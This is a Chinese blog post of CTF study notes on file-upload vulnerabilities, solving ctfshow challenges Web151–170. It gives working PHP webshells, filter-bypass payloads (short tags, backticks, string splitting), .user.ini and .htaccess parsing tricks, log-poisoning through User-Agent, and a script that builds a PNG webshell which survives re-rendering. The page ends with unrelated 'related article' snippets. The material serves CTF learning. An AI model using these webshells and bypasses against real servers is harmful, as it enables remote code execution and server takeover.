当前位置: 首页 > news >正文

【CTF-Web】文件上传漏洞学习笔记(ctfshow题目)

文件上传

文章目录
  • 文件上传
    • What is Upload-File?
    • Upload-File In CTF
      • Web151
        • 考点:前端校验
        • 解题:
      • Web152
        • 考点:后端校验要严密
        • 解题:
      • Web153
        • 考点:后端校验 配置文件介绍
        • 解题:
      • Web154
        • 考点:后端内容校验 大小写绕过
        • 解题:
      • Web155
        • 考点:后端内容校验 短标签绕过
        • 解题:
      • Web156
        • 考点:后端内容校验 中括号 符号绕过
        • 解题:
      • Web157、158
        • 考点:后端内容校验 大括号 符号绕过
        • 解题:
      • Web159
        • 考点:后端内容校验 小括号 符号绕过
        • 解题:
      • Web160
        • 考点:后端内容校验 强限制 日志文件包含利用
        • 解题:
      • Web161
        • 考点:文件头检测
        • 解题:
      • Web162
      • Web164
        • 考点:PNG图片二次渲染
      • Web165
        • 考点:JPG图片二次渲染
      • web166
        • 考点:zip文件包含
      • Web167
        • 考点:.htaccess解析
      • web168
        • 考点:基础免杀
      • Web169、170
        • 考点:高级免杀 包含日志

What is Upload-File?

顾名思义就是给网上传文件,比如qq空间

上传文件时服务器后端语言没有对上传的文件进行严格的验证和过滤,容易造成上传任意文件的情况,从而使得攻击者绕过上传机制上传恶意代码并执行控制服务器

恶意代码文件就是php asp aspx jsp等,也被称为webshell

Upload-File In CTF

Web151
考点:前端校验
解题:

image-20240131144641594

进来之后很明显一个上传点 并且给出提示

直接上传php后缀文件被禁止 同时任意长传一个其他的后缀 随意输入也被禁止

故为白名单检测 只能上传png后缀格式

于是构造一句话木马放到图片中上传

GIF89a<?php eval($_POST['a']);?>

image-20240131152056625

抓包,想要把php的内容解析 需要把后缀修改

在抓包的这一块已经绕过了前端验证

image-20240131152156373

修改 发送 上传成功

image-20240131152539213

得到图片的路径/upload/upload.php

一定注意是php后缀 因为修改过 上传的就是php后缀的文件

  • 法1 : 直接rce

image-20240131152623585

  • 法2 : 中国蚁剑

image-20240131152741640

密码是我们一句话木马里面的参数a

image-20240131152828313

连接成功

image-20240131152848665

Web152
考点:后端校验要严密
解题:

image-20240131153040791

image-20240131153612836

这里和上一题一样 就能打通 但是思考一下题目 为什么说后端验证要严格呢

这里我们重新构造了一个一句话木马图片不加前缀GIF89a

image-20240131153918152

好吧 效果是一样的hhh

本来我以为与Content-Type有关

  • image/png
  • image/gif
  • jpg image/jpeg

然鹅并没有 OK 解决 下一题

Web153
考点:后端校验 配置文件介绍
解题:

再上传一个png 改后缀为php 好!寄

image-20240131154809751

可以看到msg没有正常显示位置 上传失败

所以我们使用配置文件去解析一下,配置文件有两个 下面分别介绍一下

Reference1

  • .user.ini

    在nginx或者Apache服务中都可以使用

    利用条件:open_basedir没有被限制

    利用函数:auto_append_fileauto_prepend_file

    利用原理:使用该配置文件可以让所有php文件自动包含某个文件

解释两个函数:

auto_append_file : 在加载打开的php文件的第一行代码之后加载配置指定的php文件

auto_prepend_file : 在加载打开的php文件的第一行代码之前加载配置指定的php文件

利用过程:

  1. 上传一句话木马图片
  2. 上传配置文件
  3. 找到目标服务器任意的php进行访问 会触发我们的配置文件
  • .htaccess

    只能在Apache使用

那我们先探测一下 这个网址的服务是什么

在kali里面直接whatweb

┌──(kali?kali)-[~]
└─$ whatweb http://340f03f0-6c52-4b26-95e2-65c0a527be46.challenge.ctf.show/
http://340f03f0-6c52-4b26-95e2-65c0a527be46.challenge.ctf.show/ [200 OK] Country[CHINA][CN], HTML5, HTTPServer[nginx/1.20.1], IP[124.223.158.81], JQuery[3.2.1], PHP[7.3.11], Script, Title[CTFshow-web入门], X-Powered-By[PHP/7.3.11], nginx[1.20.1]

发现是nginx 所以使用第一个配置文件

先上传我们一句话木马构造的png文件 不用抓包了 就直接上传即可

然后 想办法上传配置文件

先上传一个正常的png后缀 否则过不了前端 抓包 修改名字和内容

image-20240131165333798

然后在upload目录下尝试index.php 确实存在 访问则会触发配置文件

image-20240131165646048

image-20240131165703211

Web154
考点:后端内容校验 大小写绕过
解题:

image-20240131170824223

上传png文件 发现对内容有检测

先大小写绕过试试

image-20240131170933236

成功

image-20240131171015379

上传配置文件

image-20240131171112212

拿到flag

Web155
考点:后端内容校验 短标签绕过
解题:

image-20240204041544098

大小写绕过失效 改为短标签

<?php echo 1; ?> 正常写法<? echo 1; ?> 短标签写法,5.4 起 <?= 'hello'; === <? echo 'hello';<?= phpinfo();?><% echo 1; %> asp 风格写法<script language="php"> echo 1; </script> 长标签写法

image-20240204041735793

参考

image-20240204041843165

直接在上面的包里修改上传即可

image-20240204042022822

拿到flag

Web156
考点:后端内容校验 中括号 符号绕过
解题:

中括号被限制了

使用大括号绕过

image-20240204042336019

我们要来看看源码学习一下 用蚁剑连接一下

image-20240204042547053

image-20240204042626578

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-24 19:34:52
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-26 15:49:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{$filename = $_FILES["file"]["name"];$filesize = ($_FILES["file"]["size"] / 1024);if($filesize>1024){$ret = array("code"=>1,"msg"=>"文件超过1024KB");}else{if($_FILES['file']['type'] == 'image/png'){$arr = pathinfo($filename);$ext_suffix = $arr['extension'];if($ext_suffix!='php'){$content = file_get_contents($_FILES["file"]["tmp_name"]);if(stripos($content, "php")===FALSE && stripos($content,"[")===FALSE){move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);$ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);}else{$ret = array("code"=>2,"msg"=>"文件类型不合规");}}else{$ret = array("code"=>2,"msg"=>"文件类型不合规");}}else{$ret = array("code"=>2,"msg"=>"文件类型不合规");}}}echo json_encode($ret);

image-20240204045040850

Web157、158
考点:后端内容校验 大括号 符号绕过
解题:

这次大括号也被ban了 所以不使用一句话木马 而是直接rce 注意嗷!分号也被ban了 直接删除即可

<? exec('cat ../f* > myflag.txt')?>

解释一下命令语句:

  • system : 输出并返回最后一行的shell结果
  • exec :不输出结果 返回最后一行shell的结果 所有结果可以保存到一个返回的数组里面
  • passthru :只调用命令,把命令的运行结果原样直接输出到标准输出设备上

在我们的payload中 使用>可以把结果自定义存储到myflag.txt文件中

image-20240204054616568

image-20240204054657227

触发

image-20240204054726586

查看:注意是在upload目录下

image-20240204054800548

也可以直接使用system

image-20240204055239398

image-20240204055215518

image-20240204055228448

Web159
考点:后端内容校验 小括号 符号绕过
解题:

仍然在前端有限制 只能上传png后缀的文件

所以首先通过png后缀的图片写马

发现小括号被过滤了,绕过的方法就是 ` 反引号去代替绕过

两种写马的方法:

  1. 写入到文件中 用 > 进行定向

    <? `cat ../f* > myflag.txt` ?>
  2. 直接使用echo进行显示

    <? echo `tac ../f*` ?>

image-20240215214117066

然后通过配置文件.user.ini去解析php

image-20240215213558967

Web160
考点:后端内容校验 强限制 日志文件包含利用
解题:

首先要介绍一下php中include函数:

在php代码的进行过程中,遇到include函数就去跳转到包含的文件中进行读取,并显示在输出中,如果是php代码,会自动解析,如果不是,则单纯以文本的方式显示,示例如下:

<?php
include('1.txt')?>

image-20240216004917491

然后回到这个题目中我们发现,反引号和空格全部被过滤了,通过单一的上传时无法实现的,所以我们采用对日志的利用。

那么日志记录的是什么呢,查看了一下本地的access.log文件

image-20240216005633283

发现记录的有User-Agent字段里面的内容

所以我们把一句话木马放到User-Agent字段中进行写入到日志中,然后通过include的函数,触发解析日志中的一句话木马

image-20240216023431484

image-20240216010037299

<?include"/var/l"."og/nginx/access.lo"."g"?>

到此成功上传png文件,但是请注意两点,一个是对log有过滤,对于字符串的过滤我们将他隔开即可

第二个是需要作为php语句进行解析,所以还是需要使用.user.ini

image-20240216010215471

然后进行触发

image-20240216010244929

进行连接,注意两点,一是url要加头,二是连到index.php

image-20240216010656445

源码一贴,学习一下验证思想:

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-24 19:34:52
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-26 15:49:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{$filename = $_FILES["file"]["name"];$filesize = ($_FILES["file"]["size"] / 1024);if($filesize>1024){$ret = array("code"=>1,"msg"=>"文件超过1024KB");}else{if($_FILES['file']['type'] == 'image/png'){$arr = pathinfo($filename);$ext_suffix = $arr['extension'];if($ext_suffix!='php'){$content = file_get_contents($_FILES["file"]["tmp_name"]);if(stripos($content, "php")===FALSE && check($content)){move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);$ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);}else{$ret = array("code"=>2,"msg"=>"文件类型不合规");}}else{$ret = array("code"=>2,"msg"=>"文件类型不合规");}}else{$ret = array("code"=>2,"msg"=>"文件类型不合规");}}}
function check($str){return !preg_match('/php|{|[|;|log|(| |`/i', $str);
}
echo json_encode($ret);
Web161
考点:文件头检测
解题:

上题的payload上传失败

给png添加幻术,加文件头GIF89a?

image-20240216025716275

image-20240216025051632

贴一下源码,与上题对比去看看文件头的检测机制:

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-24 19:34:52
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-26 15:49:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{$filename = $_FILES["file"]["name"];$filesize = ($_FILES["file"]["size"] / 1024);if($filesize>1024){$ret = array("code"=>1,"msg"=>"文件超过1024KB");}else{if($_FILES['file']['type'] == 'image/png'){$arr = pathinfo($filename);$ext_suffix = $arr['extension'];if($ext_suffix!='php'){$content = file_get_contents($_FILES["file"]["tmp_name"]);if(stripos($content, "php")===FALSE && check($content) && getimagesize($_FILES["file"]["tmp_name"])){move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);$ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);}else{$ret = array("code"=>2,"msg"=>"文件类型不合规");}}else{$ret = array("code"=>2,"msg"=>"文件类型不合规");}}else{$ret = array("code"=>2,"msg"=>"文件类型不合规");}}}
function check($str){return !preg_match('/php|{|[|;|log|(| |`/i', $str);
}
echo json_encode($ret);

找到检测中的区别:

getimagesize($_FILES["file"]["tmp_name"]

It is using the getimagesize function to retrieve information about an uploaded image file.

$imageInfo = getimagesize($_FILES["file"]["tmp_name"]);if ($imageInfo !== false) {$width = $imageInfo[0];$height = $imageInfo[1];$mime = $imageInfo["mime"];echo "Image width: " . $width . " pixels<br>";echo "Image height: " . $height . " pixels<br>";echo "Image MIME type: " . $mime;
} else {echo "Invalid image file";
}

This code retrieves the width, height, and MIME type of the uploaded image and displays them as output.

因为检测MIME,所以需要添加文件头

Web162
Web164
考点:PNG图片二次渲染

这个题目奇奇怪怪的很多坑哟

经过测试 只允许上传png

直接上传一个我们普通的假的png木马图片 不会成功

image-20240531155954231

上传普通的木马图片 比如在尾部的木马 会被经过二次渲染而清除

上传用脚本生成木马图片

image-20240531160030255

成功上传

这个图片的生成方式如下:

<?php$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33);$img = imagecreatetruecolor(32, 32);for ($y = 0; $y < sizeof($p); $y += 3) {$r = $p[$y];$g = $p[$y+1];$b = $p[$y+2];$color = imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);
}imagepng($img,'./1.png');
?>

对应的木马内容:<?$_GET[0]($_POST[1]);?>

上传后直接点击查看图片

image-20240531160328142

然后进行传参

image-20240531160345495

会显示看不了,你以为失败了吗 其实并没有,这个时候CtrlS 保存图片 然后改成txt文本查看 就会发现 flag已经在图片里面了

image-20240531160643475

之所以在图片里面 感觉是因为二次渲染的功效吧

Web165
考点:JPG图片二次渲染

开题之后 png也上传不了

测试后发现只能上传jpg文件

目前遇到两个坑

  1. 上传后查看图片无法抓包
  2. 大爹脚本无法对下载后的图片进行渲染绕过 始终报错somethingwrong

第一个坑之所以需要是因为查看jpg图片的返回包,我们可以很清晰的发现存在二次渲染的痕迹,即ATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality

解决方案:

思考下我们抓包的内容是什么,是图片的信息,所以我们也可以直接下载图片然后txt打开就可以看到二次渲染的痕迹啦

关于第二个 目前也没有解决 感觉需要审一下代码

但是和A师傅要了一个武器库

上传后直接连 不用考虑二次渲染问题,都处理好了

image-20240601104452261

web166
考点:zip文件包含

开题CtrlU看一下

image-20240602171443961

发现只能上传zip文件

想在压缩包后面写个一句话,直接在右侧栏中写就好

image-20240602171330518

image-20240602171739039

成功上传后,找到这个下载文件的链接展开利用

image-20240602171808558

直接连蚁剑,拿下:

image-20240602172040705

Web167
考点:.htaccess解析

image-20240602172252215

只收jpg

image-20240602172424122

下载后可以发现木马仍然存在,所以是单纯的没有解析

image-20240602172626678

考虑尝试下htaccess进行解析

image-20240602173038358

上传成功

在访问一下图片就能触发解析了

image-20240602173118778

直接连蚁剑,拿下

image-20240602173549060

现在一回顾可以发现其实题面也给出了提示

image-20240602173710354

httpd

web168
考点:基础免杀

image-20240602173834732

接收png,先上武器库图片

发现带木马的图片直接传不了

正常的可以传,如下

image-20240602174901257

我们通过这个正常上传的文件抓到上传包

image-20240602175205052

发现改php后缀可以上传成功

image-20240602175244360

猜测一下位置,发现也可以解析成功

image-20240602175347673

上传发现有内容检测,ban了一些东西,既然命令无法执行ls,那么使用var_dump遍历查询目录

image-20240602175527551

其中…表示上级目录

image-20240602175549466

想一下怎么读

image-20240602175633047

先试一下includeimage-20240602175706094

被ban

再试show_source

image-20240602175746681

成功 但是flag在flagaa.php

总结一下:

基础免杀的含义无非就是需要绕过几个函数罢了

image-20240602175934209

这是什么呢,存一下

Web169、170
考点:高级免杀 包含日志

image-20240602180953266

开题发现只能传zip

那么通过上传正常的zip文件进行抓包,然后进行利用

注意如果zip文件有马,无法上传

image-20240602181135877

image-20240602181337336

不知道为什么还是不行,但是抓到包了就足够了

Content-Type: application/x-zip-compressed

当这个类型是zip的时候始终无法上传

修改为png

image-20240602181821966

直接成功

image-20240602181834885

而且可以发现对后缀也没有任何检测

image-20240602181919083

e 被ban了

所以要做高级免杀,想到日志包含

思路:

把木马写在User-Agent中

然后通过user.ini的设置 把指定的php文件自动加载也就是access.log

设置user.ini

image-20240602182225547

写木马到access.log

image-20240602182343897

上传一个php文件触发

image-20240602182412701

访问一下1.php触发

image-20240602182520885

加载成功

直接蚁剑链接 密码是1

image-20240602182616919

相关文章:

【CTF-Web】文件上传漏洞学习笔记(ctfshow题目)

文件上传 文章目录 文件上传 What is Upload-File&#xff1f;Upload-File In CTF Web151 考点&#xff1a;前端校验解题&#xff1a; Web152 考点&#xff1a;后端校验要严密解题&#xff1a; Web153 考点&#xff1a;后端校验 配置文件介绍解题&#xff1a; Web154 考点&am…...

无法正常启动此程序,因为计算机丢失wlanapi.dll

wlanapi.dll丢失怎么办&#xff1f;有没有什么靠谱的修复wlanapi.dll方法_无法启动此程序,因为计算机中丢失wlanapi.dll-CSDN博客 wlanapi.dll是 Windows 操作系统中的一个动态链接库文件&#xff0c;主要与 Windows 无线 LAN (WLAN) API 相关。该DLL提供了许多必要的函数&…...

C++ webrtc开发(非原生开发,linux上使用libdatachannel库)

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、libdatachannel库的下载和build二、开始使用 1.2.引入库3.开始使用 总结 前言 使用c开发webrtc在互联网上留下的资料甚少&#xff0c;经过我一段时间的探…...

vue-router路由传参的两种方式(params 和 query )

一、vue-router路由传参问题 1、概念&#xff1a; A、vue 路由传参的使用场景一般应用在父路由跳转到子路由时&#xff0c;携带参数跳转。 B、传参方式可划分为 params 传参和 query 传参&#xff1b; C、而 params 传参又可分为在 url 中显示参数和不显示参数两种方式&#x…...

VBA高级应用30例应用在Excel中的ListObject对象:向表中添加注释

《VBA高级应用30例》&#xff08;版权10178985&#xff09;&#xff0c;是我推出的第十套教程&#xff0c;教程是专门针对高级学员在学习VBA过程中提高路途上的案例展开&#xff0c;这套教程案例与理论结合&#xff0c;紧贴“实战”&#xff0c;并做“战术总结”&#xff0c;以…...

github操作学习笔记(杂乱版)

git开源的分布式版本控制系统&#xff1a; 每次修改文件提交后&#xff0c;都会自动创建一个项目版本 查看git版本看有没有安装成功&#xff1a;git --version 把默认编辑器设置成vim&#xff1a;git config --global core.editor "vim" 1、设置昵称和邮箱&#xff…...

TaskBuilder SQL执行工具

为了方便开发者连接当前任擎服务器上配置的各个数据源对应的数据库进行相关操作&#xff0c;TaskBuilder提供了一个SQL执行工具&#xff0c;点击系统侧边栏里的执行SQL图标 &#xff0c;即可打开该工具&#xff0c;界面如下图所示&#xff1a; 该工具从上至下分为三个区域&a…...

快速掌握Quartz.Net计划任务调度框架,轻松实现定时任务

前言 Quartz.Net是一个开源的作业调度框架&#xff0c;可以用于管理计划任务和定期执行。Quartz.Net提供了丰富的作业计划选项&#xff0c;例如精确或模糊时间表达式、日期和时间限制等。Quartz.Net采用分布式架构&#xff0c;允许在多个计算机上运行任务。 Quartz.Net架构设…...

Linux ufw命令丨Linux网络防火墙ufw命令详解

ufw&#xff08;Uncomplicated Firewall&#xff09;是Ubuntu系统上默认的防火墙组件&#xff0c;它为轻量化配置iptables而开发&#xff0c;提供了一个非常友好的界面用于创建基于IPv4和IPv6的防火墙规则 ufw在Ubuntu 8.04 LTS后的所有发行版中默认可用&#xff0c;它通过命令…...

shell编程(完结)

shell编程&#xff08;完结&#xff09; 声明&#xff01; 学习视频来自B站up主 ​泷羽sec​​ 有兴趣的师傅可以关注一下&#xff0c;如涉及侵权马上删除文章 笔记只是方便各位师傅的学习和探讨&#xff0c;文章所提到的网站以及内容&#xff0c;只做学习交流&#xff0c;其…...

深入了解Text2SQL开源项目(Chat2DB、SQL Chat 、Wren AI 、Vanna)

深入了解Text2SQL开源项目&#xff08;Chat2DB、SQL Chat 、Wren AI 、Vanna&#xff09; 前言1.Chat2DB2.SQL Chat3.Wren AI4.Vanna 前言 在数据驱动决策的时代&#xff0c;将自然语言查询转化为结构化查询语言&#xff08;SQL&#xff09;的能力变得日益重要。无论是小型创业…...

【Linux】报错:cannot create directory ‘test’: Read-only file system

1 报错 ❤️在使用mkdir test命令创建文件夹的时候,报错如下: mkdir:cannot create directory ‘test’:Read-only file system 2 解决方法 mount -o remount,rw / 🦋上述命令在Linux系统中用于重新挂载(root)文件系统,并将其从只读模式切换到读写模式。 ■ 下面是对…...

python mat是什么文件

.mat就是matlab的文件格式&#xff0c;一般用于matlab和python间的数据传输&#xff0c;python中numpy和scipy提供了一些函数&#xff0c;可以很好的对.mat文件的数据进行读写和处理。 在python中可以使用scipy.io中的函数loadmat()读取mat文件&#xff0c;函数savemat保存文…...

Redis: 一个高效的内存数据存储解决方案

Redis: 一个高效的内存数据存储解决方案 介绍 Redis&#xff08;Remote Dictionary Server&#xff09;是一种开源的高性能键值存储系统。它常被用作缓存、消息队列、会话存储、实时数据分析等多种场景。与传统的关系型数据库不同&#xff0c;Redis 是基于内存的数据存储&…...

AR眼镜_消费级工业AR智能眼镜主板硬件解决方案

AR眼镜的研发是一项复杂的软硬件集成工程&#xff0c;它需要在摄影、音频、交互和连接等多个方面提供卓越的基础体验&#xff0c;因此产品的每个细节都显得尤为重要。 在设计AR眼镜时&#xff0c;重量、体积和散热性能都是必须认真考量的关键因素。在芯片平台的选择上&#xff…...

C# 异常处理

C# 异常处理 异常处理是编程中不可或缺的一部分,它允许程序在遇到错误或意外情况时优雅地处理这些问题,而不是直接崩溃。C# 提供了一套强大的异常处理机制,包括 try-catch 块、finally 块和 throw 语句。本文将深入探讨 C# 中的异常处理,包括如何捕获和处理异常,以及如何…...

图解SSH原理

1. 初见SSH SSH是一种协议标准&#xff0c;其目的是实现安全远程登录以及其它安全网络服务。 SSH仅仅是一协议标准&#xff0c;其具体的实现有很多&#xff0c;既有开源实现的OpenSSH&#xff0c;也有商业实现方案。使用范围最广泛的当然是开源实现OpenSSH。 2. SSH工作原理 …...

如何快速批量把 PDF 转为 JPG 或其它常见图像格式?

在某些特定场景下&#xff0c;将 PDF 转换为 JPG 图片格式却具有不可忽视的优势。例如&#xff0c;当我们需要在不支持 PDF 查看的设备或软件中展示文档内容时&#xff0c;JPG 图片能够轻松被识别和打开&#xff1b;此外&#xff0c;对于一些网络分享或社交媒体发布的需求&…...

在CentOS中安装和卸载mysql

在CentOS7中安装和卸载mysql 卸载mysql1、查看是否安装过mysql2、查看mysql服务状态3、关闭mysql服务4、卸载mysql相关的rpm程序5、删除mysql相关的文件6、删除mysql的配置文件my.cnf 安装mysql1、下载mysql相关的rpm程序2、检查/tmp临时目录权限3、安装mysql前的依赖检查3、安…...

第十二章:异常(2)

六、自定义异常类 1. 定义一个类继承 异常类 (1) 定义异常类如果为运行时异常&#xff0c;则需要继承 RuntimeException class CheckedPasswordException extends RuntimeException{} (2) 定义异常类如果为非运行时异常&#xff0c;则需要继承 Exception class CheckedPass…...

DAY5 C++运算符重载

1.类实现> 、<、!、||、&#xff01;和后自增、前自减、后自减运算符的重载 代码&#xff1a; #include <iostream>using namespace std; class Complex {int rel;int vir; public:Complex(){};Complex(int rel,int vir):rel(rel),vir(vir){cout << "…...

Qt之点击鼠标右键创建菜单栏使用(六)

Qt开发 系列文章 - menu&#xff08;六&#xff09; 目录 前言 一、示例演示 二、菜单栏 1.MenuBar 2.Menu 总结 前言 QMainWindow是一个为用户提供主窗口程序的类&#xff0c;包含一个菜单栏&#xff08;menubar&#xff09;、多个工具栏(toolbars)、一个状态栏(status…...

Ant Design Pro实战--day01

下载nvm https://nvm.uihtm.com/nvm-1.1.12-setup.zip 下载node.js 16.16.0 //非此版本会报错 nvm install 16.16.0 安装Ant Design pro //安装脚手架 npm i ant-design/pro-cli -g //下载项目 pro create myapp //选择版本 simple 安装依赖 npm install 启动umi yarn add u…...

ejb组件(rmi) webservice平台(xml)

springboot bean 在 Spring Boot 中&#xff0c;Bean 是 Spring 框架的核心概念之一&#xff0c;表示由 Spring 容器管理的对象。通过 Bean 或其他注解&#xff08;如 Component、Service、Repository 等&#xff09;来定义和管理这些对象。以下是关于 Spring Boot 中 Bean 的…...

[高考] 学习数学的难点

最近想看一些机器学习的书&#xff0c;发现很多概念&#xff0c;很多符号&#xff0c;很多地方是&#xff0c;不知道具体的意思&#xff0c;不懂其中的内涵&#xff0c;所以需要再重新查阅很多的资料&#xff0c;去理解作者每句话是什么意思。 总结一下难点。以詹姆斯-斯图尔特…...

西门子200 smart PLC助力水处理企业自动化改造

摘要 西门子的200SMART PLC&#xff0c;以其强大的功能和灵活的应用性&#xff0c;正成为环保行业中不可或缺的一环。今天&#xff0c;我们就来看看这个小小的PLC是如何在处理环保问题中大显身手的。 不得不说&#xff0c;环保行业的痛点可不少。 比如污水处理&#xff0c;传…...

redis 怎么样查看list

在 Redis 中&#xff0c;可以通过以下方法查看列表的内容或属性&#xff1a; 1. 查看列表中的所有元素 使用 LRANGE 命令&#xff1a; LRANGE key start endkey 是列表的名称。start 是起始索引&#xff0c;0 表示第一个元素。end 是结束索引&#xff0c;-1 表示最后一个元素…...

QT数据库(二):QSqlQueryModel实现数据查询

QSqlQueryModel 可以设置任意的 SELECT 语句来从数据库中查询数据&#xff0c;可以查询一个数据表部分字段的数据&#xff0c;也可以是多个数据表组合的数据。该模型的数据是只读的&#xff0c;即使在界面上修改了QSqlQueryModel 模型的数据&#xff0c;也不能将所做的修改提交…...

【后端面试总结】HTTPS工作原理详解

引言 在现代网络通信中&#xff0c;数据的安全性至关重要。HTTP&#xff08;Hypertext Transfer Protocol&#xff09;作为互联网上传输数据的协议&#xff0c;虽然应用广泛&#xff0c;但其数据以明文形式传输&#xff0c;存在被窃取和篡改的风险。为此&#xff0c;HTTPS&…...

Kibana 部署

Kibana 是一个开源的数据可视化和探索工具&#xff0c;主要用于 Elasticsearch 数据的分析和展示。本文将详细介绍如何在 Linux 系统上部署 Kibana&#xff0c;并启用 SSL 加密以确保安全通信。 英文文档&#xff1a;Kibana Guide | Elastic 中文文档&#xff1a;Kibana 用户…...

PostgreSQL 入门

下载与安装 部分国产数据库采用PostgreSQL作为基础进行研发&#xff0c;因此先尝试了解一下原始数据库情况。 PostgreSQL 简称 PG 官网&#xff1a;https://www.postgresql.org/ PostgreSQL “世界上最先进的开源关系型数据库” 这是官网上的口号。 PostgreSQL: The World…...

简单的多网卡选择指定网卡ip注册

简单的多网卡选择指定网卡ip注册 我们公司服务器上面有多个网卡&#xff0c;多网卡则本地ip有多个ip,我们启动服务的时候需要选定他特定的ip&#xff0c;我们服务需要特定的ip进行注册&#xff0c;才能进行正常的通讯功能&#xff0c;我们需要使用如下配置进行特定ip选择&…...

【论文阅读笔记】One Diffusion to Generate Them All

One Diffusion to Generate Them All 介绍理解 引言二、相关工作三、方法预备知识训练推理实现细节训练细节 数据集构建实验分结论附录 介绍 Paper&#xff1a;https://arxiv.org/abs/2411.16318 Code&#xff1a;https://github.com/lehduong/onediffusion Authors&#xff1…...

基于Spring Boot的电影院订票信息管理系统

目录 前言 一、技术栈 二、系统功能介绍 三、核心代码 1、登录模块 2、文件上传模块 3、代码封装 前言 当今社会已经步入了科学技术进步和经济社会快速发展的新时期&#xff0c;国际信息和学术交流也不断加强&#xff0c;计算机技术对经济社会发展和人民生活改善的影响也…...

Easy-Mock前端+后端全解以及详细使用

前文 常见的mock方式 将模拟数据直接写在代码里利用 JavaScript 拦截请求利用 Charles、 Fiddler 等代理工具拦截请求 把模拟的数据写代码里&#xff0c;那是不是每次修改返回数据就要重新部署服务&#xff0c;那有没有不用部署也能改返回参数的东西呢&#xff1f;有&#x…...

【WSL】——wsl安装多个ubuntu

原因&#xff1a;一个库用了GLIBC_2.29&#xff0c;但是我的系统是ubuntu18.04&#xff0c;看样子需要升级glibc&#xff0c;但是升级之后好像会出现崩溃的问题。参考&#xff1a;ubuntu慎重升级glibc。所以那就再安装一个ubuntu22.04吧。 下面介绍通过wsl安装ubuntu18.04&…...

微信小程序从后端获取的图片,展示的时候上下没有完全拼接,有缝隙【已解决】

文章目录 1、index.wxml2、index.js3、detail.detail为什么 .rich-text-style 样式可以生效&#xff1f;1. <rich-text> 组件的特殊性2. 类选择器的作用范围3. 样式优先级4. line-height: 0 的作用5. 为什么直接使用 rich-text 选择器无效&#xff1f; 总结 上下两张图片…...

人工智能大模型LLM开源资源汇总(持续更新)

说明 目前是大范围整理阶段&#xff0c;所以存在大量机翻说明&#xff0c;后续会逐渐补充和完善资料&#xff0c;减少机翻并增加说明。 Github上的汇总资源&#xff08;大部分英文&#xff09; awesome-production-machine-learning 此存储库包含一系列精选的优秀开源库&am…...

第二十六章 Spring之假如让你来写事务——初稿篇

Spring源码阅读目录 第一部分——IOC篇 第一章 Spring之最熟悉的陌生人——IOC 第二章 Spring之假如让你来写IOC容器——加载资源篇 第三章 Spring之假如让你来写IOC容器——解析配置文件篇 第四章 Spring之假如让你来写IOC容器——XML配置文件篇 第五章 Spring之假如让你来写…...

介绍一下CSS中伪类和伪元素的概念

一、伪类&#xff08;Pseudo - Classes&#xff09; 1. 定义 伪类是添加到选择器的关键字&#xff0c;用于定义元素的特殊状态。这些状态不是由文档树中的结构或属性来表示&#xff0c;而是基于用户行为&#xff08;如鼠标悬停&#xff09;、元素状态&#xff08;如被选中&am…...

Python字符串常用操作

Python字符串常用操作 一、字符串的切片 1.1、通过下标及下标范围取值 my_str myNameIsTaichi value1 my_str[2] # 正向 N value2 my_str[-5] # 反向 从 -1 开始 a字符串分割&#xff0c;语法&#xff1a;string[end: step] start&#xff1a;头下标&#xff0c;以0开…...

解决创建laravel项目,使用国外镜像超时,国内镜像缺包的问题

解决创建laravel项目&#xff0c;使用国外镜像超时&#xff0c;国内镜像缺包的问题 一、前言二、切换镜像三、创建最新版本四、创建指定版本 一、前言 最近想下载 laravel 框架看看&#xff0c;但也遇到了些麻烦&#xff0c;这里做个记录。 二、切换镜像 先查看镜像源&#…...

帝可得-运营管理App

运营管理App Android模拟器 本项目的App客户端部分已经由前端团队进行开发完成&#xff0c;并且以apk的方式提供出来&#xff0c;供我们测试使用&#xff0c;如果要运行apk&#xff0c;需要先安装安卓的模拟器。 可以选择国内的安卓模拟器产品&#xff0c;比如&#xff1a;网…...

印闪网络:阿里云数据库MongoDB版助力金融科技出海企业降本增效

客户背景 上海印闪网络科技有限公司&#xff0c;于2017年1月成立&#xff0c;投资方包括红杉资本等多家国际知名风投公司。公司业务聚焦东南亚普惠金融&#xff0c;常年稳居行业头部。创始团队来自腾讯&#xff0c;中国团队主要由运营、风控及产研人员组成&#xff0c;核心成员…...

c++的应用

